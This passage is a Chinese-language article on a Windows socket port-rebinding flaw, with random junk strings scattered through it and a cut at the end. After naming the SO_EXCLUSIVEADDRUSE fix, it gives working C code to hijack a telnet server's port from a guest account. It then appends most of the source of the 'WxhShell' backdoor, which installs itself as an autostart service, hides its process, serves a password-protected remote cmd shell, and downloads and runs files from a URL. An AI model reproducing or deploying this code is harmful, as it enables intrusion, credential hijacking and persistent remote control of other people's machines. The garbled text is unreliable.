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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: s&zg!~@5b s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 68jq1Y
Pv
&+Pcu5 saddr.sin_family = AF_INET; *HN0em kculHIa\. saddr.sin_addr.s_addr = htonl(INADDR_ANY); |JH1?n AZYu/k bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ySwvjP7f H?axlRmw3 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 mEe JK3D[ S[cVoV 这意味着什么?意味着可以进行如下的攻击: c)fTI,.$ ?I.<mdhN#t 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,~-
dZs z,B'I.)M 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !B{N:?r *.9.BD9 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 X+T
+y>ea fhp][)g; 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ~;0J4hR w/HGmVa 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `7zNVYur8 <ib#PLRM 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 y2eeE CS] Awad!_VdHS 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 cC6W1K! C.$`HGv #include C0F#PXUy #include 3M{/9rR[ #include Yxt`Uvc(^h #include YQ}bG{ V DWORD WINAPI ClientThread(LPVOID lpParam); Iz\IQa int main() P=V=\T<4_ { )0JXUC e WORD wVersionRequested; dF%sD|<) DWORD ret; 4X2/n WSADATA wsaData; DKfw8"L] BOOL val; IU`&h2KZ. SOCKADDR_IN saddr; ApYri|^r SOCKADDR_IN scaddr; qE` int err; ',yY SOCKET s; NK+iLXC SOCKET sc; ~cSOni` int caddsize; s:y=X$&M HANDLE mt; *a7&v3X DWORD tid; Svo gvn wVersionRequested = MAKEWORD( 2, 2 ); u;Q'xuo3 err = WSAStartup( wVersionRequested, &wsaData ); b;O|-2AR if ( err != 0 ) { Y&k6Xhuao printf("error!WSAStartup failed!\n"); \$Nx`daFi return -1; iS^IqS } /CAi%UH,F saddr.sin_family = AF_INET; .)>DFGb>H xhIC["z5 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 6*/o Yl+r>+^ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); W|@/<K$V saddr.sin_port = htons(23); Z`5v6"Na if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;m3SlP{F { Y.qlY3iBp printf("error!socket failed!\n"); =M'y& iz- return -1; $!<J_d* } A({8p val = TRUE; mzz77i
//SO_REUSEADDR选项就是可以实现端口重绑定的 Y,kTk if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) E{*~>#+ { 3Q`F x printf("error!setsockopt failed!\n"); s:UQ~p}"S return -1; V Z[[zYe } uJ4RjLM` //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 99}n%(V //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 f_r1(o5:Y //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 a(Bo.T<2@ Wm
nsD! if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) mB.kV Ve0 { t>h<XPJi ret=GetLastError(); SR#X\AWM printf("error!bind failed!\n"); N&!qur \ return -1; $Blo`' } 3r?Bnf: listen(s,2); Oc;0*v[I while(1) n)w@\Uyc { 3
[lF caddsize = sizeof(scaddr); -<jb>8 //接受连接请求
qh/q< sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); K4i#:7r'b if(sc!=INVALID_SOCKET) zlmb_akJ { 2yhtJ9/ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); >WMH.5p if(mt==NULL) kE tYuf^ { Lnnl++8Y printf("Thread Creat Failed!\n"); 5rqjqfFa break; yG5T;O& } ~l%Dcp } i8w(G<Y= CloseHandle(mt); hSc$Sa8 } b<qv
/t)$ closesocket(s); MEbx{XC WSACleanup(); W
xyQA:3s return 0; ti)foam } e*e}X&|(g DWORD WINAPI ClientThread(LPVOID lpParam) ul+
+h4N { `Y-uNJ'.N SOCKET ss = (SOCKET)lpParam;
/_?E0r SOCKET sc; >A|6kzC unsigned char buf[4096]; wh:O"&qk SOCKADDR_IN saddr; %b2.JGBqJ long num; SI3ek9|XU DWORD val; yOGaW~ DWORD ret; KL!k'4JNY //如果是隐藏端口应用的话,可以在此处加一些判断 P8e1J0A //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 W?!(/`J] saddr.sin_family = AF_INET; x2.G1 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); e
=Vu; saddr.sin_port = htons(23); ^u#!Yo.!( if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) TSmuNCR { VkT8l4($X< printf("error!socket failed!\n"); o(w1!spA return -1; Y'-BKZv! } ^:K"Tv.= val = 100; Z mF}pa,gd if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O,ZvV3 { ="RDcf/ ret = GetLastError(); OC9_EP\" return -1; !SIGzj } AZxx%6 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A"k6n\!n; { _/ZIDIn ret = GetLastError(); nbMnqkNb return -1; 8zGe5Dn9 } 'i_od|19~h if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) k/O|ia6 { X%xX3e' printf("error!socket connect failed!\n"); ; )O)\__"- closesocket(sc); =M)>w4- closesocket(ss); 3x9O<H} return -1; V<
0gD?Kx } [a\:K2*' while(1) Lw?4xerLsb { )H#Hs<)Qy //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ErJi
//如果是嗅探内容的话,可以再此处进行内容分析和记录 ' eO4h^ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1agyT num = recv(ss,buf,4096,0); r80w{[S$ if(num>0) <O&L2E @~f send(sc,buf,num,0); M~;mamTP else if(num==0) ZebXcT ,41 break; fQlR;4QX] num = recv(sc,buf,4096,0); _L(6F
TJ if(num>0) -*k%'Gr send(ss,buf,num,0); |&3m '"( else if(num==0) qih7 break; dl@ } ,2DKp hh closesocket(ss); ]x?9lQ1& closesocket(sc); =U!'v X d return 0 ; BKIAc6 } "{&\ nt eP|:b & FD*`$.e3\ ========================================================== ?C//UN; ||cG/I&, 下边附上一个代码,,WXhSHELL P*T'R .t4IR
=Z ========================================================== z)=D&\HX /OK.n3Tt #include "stdafx.h" \CM( (ta!4h, #include <stdio.h> bqN({p& #include <string.h> xIf,1g@Cq9 #include <windows.h> 7 w_`<b6 #include <winsock2.h> Z_D8}$! #include <winsvc.h> ~K 8eRT #include <urlmon.h> xvQJTRk 3_B .W #pragma comment (lib, "Ws2_32.lib") !v<r=u #pragma comment (lib, "urlmon.lib") )?joF) l.\Fr+*ej #define MAX_USER 100 // 最大客户端连接数 Cq?l> #define BUF_SOCK 200 // sock buffer a Umcs!@ #define KEY_BUFF 255 // 输入 buffer ++F #Z(p EE#4,d`J #define REBOOT 0 // 重启 gfw,S; #define SHUTDOWN 1 // 关机 dY68wW>d| n>)CCf@H #define DEF_PORT 5000 // 监听端口 kdmannM v2G_p|+O #define REG_LEN 16 // 注册表键长度 Pon 2!$ #define SVC_LEN 80 // NT服务名长度 W`^'hka N?U;G*G // 从dll定义API 4~hd{8 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D)8&v`LS typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a9mLPP typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); I1BVqIt1i typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v$s3f|Y F:x" RbbF // wxhshell配置信息 cP`f\\c struct WSCFG { o"R[#E&Yx int ws_port; // 监听端口 :" g^y6i char ws_passstr[REG_LEN]; // 口令 XU5/7
.
int ws_autoins; // 安装标记, 1=yes 0=no mS6
#\'Qa char ws_regname[REG_LEN]; // 注册表键名 GN?^7kI char ws_svcname[REG_LEN]; // 服务名 f}0(qN/G char ws_svcdisp[SVC_LEN]; // 服务显示名 d3_aFsQ char ws_svcdesc[SVC_LEN]; // 服务描述信息 v#@"Evh7 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T|Sz~nO}f int ws_downexe; // 下载执行标记, 1=yes 0=no Uc>kCBCd char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" wAkpk&R char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g+t-<D"L5 ]C3{ _?= }; /+.Bc(` }L>}_NV\ // default Wxhshell configuration @X?DHLM struct WSCFG wscfg={DEF_PORT, OGh9^,v "xuhuanlingzhe", eZIqyw 1, 3haYb` "Wxhshell", W~aVwO'( "Wxhshell", ^](sCE7 "WxhShell Service", Zk__CgS# "Wrsky Windows CmdShell Service", n'9Wl'
"Please Input Your Password: ", d^mw&F)S 1, / @X! " http://www.wrsky.com/wxhshell.exe", U2 "Wxhshell.exe" T=(/n= }; t,M_ *BH*
// 消息定义模块 ZZ?0%9 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E?z3 D*U char *msg_ws_prompt="\n\r? for help\n\r#>"; [-_3Zr char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; IP7j)SM! char *msg_ws_ext="\n\rExit."; [5e}A& char *msg_ws_end="\n\rQuit."; sI7d?+ char *msg_ws_boot="\n\rReboot..."; vm"LPwSk> char *msg_ws_poff="\n\rShutdown..."; z6]dF"N char *msg_ws_down="\n\rSave to "; q.U` mtS s]50Y-C char *msg_ws_err="\n\rErr!"; ~m8".Z" char *msg_ws_ok="\n\rOK!"; 0f&B;?)! .LhIB? char ExeFile[MAX_PATH]; u)Y~+ [Q int nUser = 0; BCYTlxC' HANDLE handles[MAX_USER]; ,dhJ\cQ~ int OsIsNt; nICc}U?k B>rz<bPT SERVICE_STATUS serviceStatus; r@ujE,D=k SERVICE_STATUS_HANDLE hServiceStatusHandle; X0Zqx1 U(P^-J<n1 // 函数声明 FkY}6 int Install(void); Xyy;BO: int Uninstall(void); i'OFun+-, int DownloadFile(char *sURL, SOCKET wsh); px8988X int Boot(int flag); 1)pwR3(^Fz void HideProc(void); r&oR|-2hRk int GetOsVer(void); GK.^Gd int Wxhshell(SOCKET wsl);
4~xKW2*`K void TalkWithClient(void *cs); k\BJs@- int CmdShell(SOCKET sock); L[lX?g?Ob int StartFromService(void); g"ha1<y< int StartWxhshell(LPSTR lpCmdLine); r*HbglB #%N v\g; VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); p4GhT~)l: VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7aRtw:PQn fqrQ1{%UH // 数据结构和表定义 V
6I77z SERVICE_TABLE_ENTRY DispatchTable[] = fI"sdzu^ { O2;FaASF {wscfg.ws_svcname, NTServiceMain}, <}t~^E, {NULL, NULL} J9eOBom8e< }; ">cLPXX H
xs'VK* // 自我安装 U;`C%vHff int Install(void) ,`PC^`0c}o { -{`8Av5)E% char svExeFile[MAX_PATH]; \~m\pf? HKEY key; 5{Q5?M] strcpy(svExeFile,ExeFile); N(uH y@ vZ,DJ//U, // 如果是win9x系统,修改注册表设为自启动 Rd'P\ if(!OsIsNt) { 2 j.6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :No`+X[Kq RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2(LF @xb RegCloseKey(key); >RJjm&M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7irpD7P>
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -fpe RegCloseKey(key); WoM;) Q return 0; 0Dtew N{Z } %"-bG'Yc } #lAC:>s3U } $inlI_ else { 94^)Ar~O
)U12Rshl // 如果是NT以上系统,安装为系统服务 $B%wK`J SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bGw56s'R5~ if (schSCManager!=0) 5~D(jHY; { `eZzYe(N SC_HANDLE schService = CreateService ;)~}/nR<a ( =LXjq~p schSCManager, 8tfM,.]_i wscfg.ws_svcname, '41'Gn wscfg.ws_svcdisp, OQW%nF9~ SERVICE_ALL_ACCESS, Kzw br?&z SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "DaE(S& SERVICE_AUTO_START, "&Hr)yyWG SERVICE_ERROR_NORMAL, a-e_ q svExeFile, P:D;w2'Q NULL, 8\WV.+ NULL, RW~!)^ NULL, IiU\}<O NULL, nTsKJX%\ NULL Pi+pQFz5 ); "C0?s7Y if (schService!=0) wZ4w`|' { WwsH7X) CloseServiceHandle(schService); >|X ) CloseServiceHandle(schSCManager); Q":,oZ2 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D:] QBA)C strcat(svExeFile,wscfg.ws_svcname); wE[gp+X~ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { d|#&j." RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Sq&r
; RegCloseKey(key); ?f}?I`S, return 0; 1aI&jdJk } x~Y{
{ } Mj&G5R~_ CloseServiceHandle(schSCManager); s$% t2UaV } Hr_5N,
} 8)lrQvZ |v:oLgUdH return 1; )J*M{Gm 6i } *b'4>U C@`rg ILc // 自我卸载 <Y]e int Uninstall(void) i0:1+^3^U { 7s0\`eXo/ HKEY key; =cpUc]~ 2FR+Z3&z if(!OsIsNt) { Xh}S_/9}5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lZAXDxhnT RegDeleteValue(key,wscfg.ws_regname); d-3.7nJ: RegCloseKey(key); /#WvC;B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V7b;qC' RegDeleteValue(key,wscfg.ws_regname); Rk,'ujc RegCloseKey(key); Q,K$)bM return 0; ({ O~O5k } %pIP#y[4 } {E; bT|3z } .TMLg(2hgv else { }*
\*<d
3 ,ZghV1z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); MaPOmS8? if (schSCManager!=0) fat;5XL@ { 3eg6 CdT SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^T:L6: if (schService!=0) E!'6vDVC: { AsD$M*It if(DeleteService(schService)!=0) { Ur]/kij CloseServiceHandle(schService); o%bf7)~s CloseServiceHandle(schSCManager); |1GOm=GNK return 0; lEgjv, } h@E7wp1'~ CloseServiceHandle(schService); c/Fgx/hr } -woFKAy` CloseServiceHandle(schSCManager); (3Q$)0t } JK`$/l|7 } u^G Y7gah )=#e*1!b return 1; Esu{c9, } j]FK.G' "fr{:'HX // 从指定url下载文件 Uks%Mo9on int DownloadFile(char *sURL, SOCKET wsh) h%U}Y5Ps~ { -)Bvx>8fq- HRESULT hr; 4Q/{lqG char seps[]= "/"; OP<N!y ?[ char *token; "u]&~$ char *file; GeDI\- char myURL[MAX_PATH]; ,]:Gn5~ char myFILE[MAX_PATH]; ~`Rar2%B ?JG^GD7D strcpy(myURL,sURL); D2g/P8.<A token=strtok(myURL,seps); d<+hQ\BF, while(token!=NULL) w
>2sr^!y { 8\"Gs z file=token; Y)DAR83 token=strtok(NULL,seps); a2Nxpxho } WW.@S5 }toe'6 GetCurrentDirectory(MAX_PATH,myFILE); m~
5"q%; strcat(myFILE, "\\"); cF4,dnI strcat(myFILE, file); aZ$5" send(wsh,myFILE,strlen(myFILE),0); Y0.'u{J* send(wsh,"...",3,0); S2DG=hi`GK hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 67hfv e if(hr==S_OK) gROK4'j6y return 0; 0^R, d M else zz[fkH3 return 1; B2oKvgw ywl=@ } #bBh. ^ UOsK(mB // 系统电源模块 #M{qMJHDo int Boot(int flag) ,#FP]$FK { gyD ;kn\CP HANDLE hToken; H<[~V0= TOKEN_PRIVILEGES tkp; )l$}plT4 $'I&u if(OsIsNt) { `<yQ`Y_X OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =/_u k{ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (ix. tkp.PrivilegeCount = 1; l_/(J)|a tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; CvmIDRP* AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lyX3'0c if(flag==REBOOT) { Vi: ^bv if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W^H3 =hZ return 0; 9sT5l"?g } $:%E<j4Dn else { }04mJY[ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _crhBp5@T3 return 0; ka!v(j{E } ,5"(m?[m } aUzCKX%>C else { oWL_Hh%-f` if(flag==REBOOT) { u1L^INo/ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }rI:pp^KS return 0; p09p/ } ?!&%-R6* else { C&>*~ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @`dg:P*[ return 0; >xabn*Kq } #kASy 2t } V0v,s^\H 7jIBE return 1; A
$gn{ c } Fu_I0z VK]U* V1 // win9x进程隐藏模块 UL-_z++G void HideProc(void) sa4w.9O1GS { J6n>{iE T"[]'|' HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $GFR7YC 7 if ( hKernel != NULL ) Mn(iAsg { Z.Yq)\it pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z,G_&5|f% ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hp)^s7H FreeLibrary(hKernel); Cl`i|cF\ } _yv#v_Z c%C6d97q return; >i,_qe?V:w } RC/ 3\' &K\80wGK // 获取操作系统版本 tLWw<)t int GetOsVer(void) Bj1%}B { R
,qQC< OSVERSIONINFO winfo; ];LFv5" winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0mujf GetVersionEx(&winfo); /@k#tdj if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M&j|5UH%. return 1; <mE`<-$ else X n$ZA- return 0; R,G*]/r` } :R,M Y"( s:}? rSI // 客户端句柄模块 'ZW(Hjrd int Wxhshell(SOCKET wsl) }I&.xzJ { ZrTB% SOCKET wsh; X+aQ 7^"s struct sockaddr_in client; \]V:>=ry> DWORD myID; C~B ]@xxK) ^;RK-) while(nUser<MAX_USER) 80*hi)ux[
{ HCs^?s8Pp int nSize=sizeof(client); w!7ApEH1 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E(P
6s;LZ if(wsh==INVALID_SOCKET) return 1; FKTF?4+\U ;"Kgg:K>W handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5,1<A@H if(handles[nUser]==0) 8x U*j closesocket(wsh); -!Myw&*\V else A/>Q5) nUser++; (QiA5!wg } g[O?wH-a WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d
fj23+ n" Ie> return 0; +:.Jl:fx4 } =EP`,zqn$9 985F(r // 关闭 socket HE,L8S void CloseIt(SOCKET wsh) K:a8}w>Up { 1IA1; closesocket(wsh); ?eIb7O nUser--; vd4@ jZ5 ExitThread(0); ;>v.(0FE6 } /h0bBP ;o!p9MEpz; // 客户端请求句柄 R ZY=c void TalkWithClient(void *cs) H2s:M { _J
l(:r\% ~?F,kmO}? SOCKET wsh=(SOCKET)cs; KS$t char pwd[SVC_LEN]; _6NUtU char cmd[KEY_BUFF]; K3?5bT_{ char chr[1]; Y<xqws int i,j; S/'0czDMW
bmv8nal<Y while (nUser < MAX_USER) { !%G]~ 7Jf~Bn if(wscfg.ws_passstr) { j,M$l mR') if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *): |WDR //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Cs6`lX > //ZeroMemory(pwd,KEY_BUFF); fg^25g'_ i=0; ZRagM'K while(i<SVC_LEN) { vA/SrX. G)Gp}4gV} // 设置超时 _uQ]I^ 'D fd_set FdRead; egaX[j r struct timeval TimeOut; =Zq6iMD FD_ZERO(&FdRead); JI"/,fK^ FD_SET(wsh,&FdRead); y&NqVR= TimeOut.tv_sec=8; M~taZt4 TimeOut.tv_usec=0; /t0L%jJZ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j<t3bM-G if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); : ,l7e a: "1LnvR if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SyvoN,;Q pwd =chr[0]; PM\Ju] if(chr[0]==0xd || chr[0]==0xa) { l_^OdQ9D pwd=0; =0)|psCsM break; mTE(JZt } (C!p2f i++; V?u#WJy/ } d &#_t@% J2=4%#R! // 如果是非法用户,关闭 socket l 00i2w if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b#6S8C+@ } *G58t`]r b>07t!; send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f7=MgFi send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YXA@
c *)RmX$v3 while(1) { ;kgP:n 8rsc@]W ZeroMemory(cmd,KEY_BUFF); pbVL|\oB} VgHO&vU // 自动支持客户端 telnet标准 'c35%?] j=0; Z.\q$U7'9 while(j<KEY_BUFF) { ;I>nA6A if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cJ4My#w cmd[j]=chr[0]; KL&/Yt if(chr[0]==0xa || chr[0]==0xd) { 2*NPK} cmd[j]=0; Rt8[P6e"q break; B.8B1MFm } -n _Y.~ j++; LDlYLsF9 } rqamBm 5 Q0xO;20 // 下载文件 ]Ur/DRNS if(strstr(cmd,"http://")) { [b++bCH3 send(wsh,msg_ws_down,strlen(msg_ws_down),0); |qNe_) if(DownloadFile(cmd,wsh)) fs!dI send(wsh,msg_ws_err,strlen(msg_ws_err),0); l~r;Grd/5 else C]L)nCOBX send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hfwJZ\_60 } )CFJXc: else { >XgoN\w P6gkbtg switch(cmd[0]) { .(@=L1C<}J UsE\p9mCuV // 帮助 WyO*8b_
D case '?': { |bnd92fvks send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]v
${k break; A({czHLhN5 } xs"i_se // 安装 6<&A}pp case 'i': { J6Ilg@}\ if(Install())
'LYDJ~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2/?Zp=|j\ else Ng#psN send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Wmbc
`XC break; x"2p5T7*> } AzU:Dxr>.G // 卸载 j\uZo.Ot+ case 'r': { jX7K-L if(Uninstall()) #
&v4c send(wsh,msg_ws_err,strlen(msg_ws_err),0); c9|4[_&B~ else )M8d\] send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q%3VcR$J break; w~]2c{\Qz } % S312=w // 显示 wxhshell 所在路径 g0,~|. case 'p': { %xgP*%Sv2 char svExeFile[MAX_PATH]; .O-)m'5 strcpy(svExeFile,"\n\r"); 5Q10Ohh strcat(svExeFile,ExeFile); ZX_QnSNZ? send(wsh,svExeFile,strlen(svExeFile),0); mIlg=8: break; 3p#UEH3 } q`e0%^U // 重启 kepuh%KY[
case 'b': { ) 57'< send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #/qcp|m if(Boot(REBOOT)) khX/xL send(wsh,msg_ws_err,strlen(msg_ws_err),0); uz3cho' else { Y9abRrK closesocket(wsh); +R~]5Rxd ExitThread(0); }u^bTR?3 } #]Vw$X_S break; `gl?y;xC } yCjc5d|tT // 关机 e#}t
am case 'd': { 2f(`HSC' send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f}c;s if(Boot(SHUTDOWN)) ?O25k!7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); i@/% E~ W else { *JOK8[Qn closesocket(wsh); 1RkN^FZOxq ExitThread(0); Trirb'qO } m-{DhJV break; L4iWR/& } whI4@# // 获取shell R&uPoY,f case 's': { 7] y3<t CmdShell(wsh); /qQx~doK closesocket(wsh); |6AR! ExitThread(0); Gb^63.} break; i3 js'?7E } ZRhk2DA#FF // 退出 )=)N9C Ry case 'x': { 2Wcu. send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sD3Ts;k CloseIt(wsh); }%KQrlbHJl break; "|6(.S+o } >D=X
Tgqqq // 离开 T#&1q]P1F case 'q': { frbd{o send(wsh,msg_ws_end,strlen(msg_ws_end),0); S(=@2A+; closesocket(wsh); c:${qY:! WSACleanup(); rT="ciQ exit(1); ,IiKe_B break; B~o3Z } -IIrrY
O } Qz`evvH } q`AsnAzo& $;g*s?F* // 提示信息 ceg\lE:8 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lR?1,yLp } _3
!s{ } ]FR#ZvM>x 6?"Gj}|r return; 7:~3B-Tb } v0'z''KM! Mx}r! Q // shell模块句柄 0o/;cBH
int CmdShell(SOCKET sock) z7fX!'3V { p&}m') STARTUPINFO si; Va[&~lA) ZeroMemory(&si,sizeof(si)); 7gtaI3 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #W:.Fsq si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >u%Bn\G PROCESS_INFORMATION ProcessInfo; @kd$.7Y9 char cmdline[]="cmd"; aR6~r^jB CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); " "`z3- return 0; c%<81Y= } ~,W|i 1sUgjyGQ // 自身启动模式 .WglLUJ:Z int StartFromService(void) `DSDu Jw% { .==c~>N typedef struct `~axOp9N { @>`N%wH' DWORD ExitStatus; FkMM>X DWORD PebBaseAddress; OfLj 4H6Q DWORD AffinityMask; 6T"5,Q</h DWORD BasePriority; )m-(- I ULONG UniqueProcessId; Z){fie4WM ULONG InheritedFromUniqueProcessId; iLdUus! } PROCESS_BASIC_INFORMATION; T&dc)t`o *`s*l+0b PROCNTQSIP NtQueryInformationProcess; Mf5kknYuL9 $1X!Ecq_ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y}vV.q static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tm;\m!^X{ V\Lh(zPt HANDLE hProcess; 7WV"Wrl] PROCESS_BASIC_INFORMATION pbi; %i&am= MDpx@.A, HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +MS*YpPW if(NULL == hInst ) return 0; J^kSp @$b7
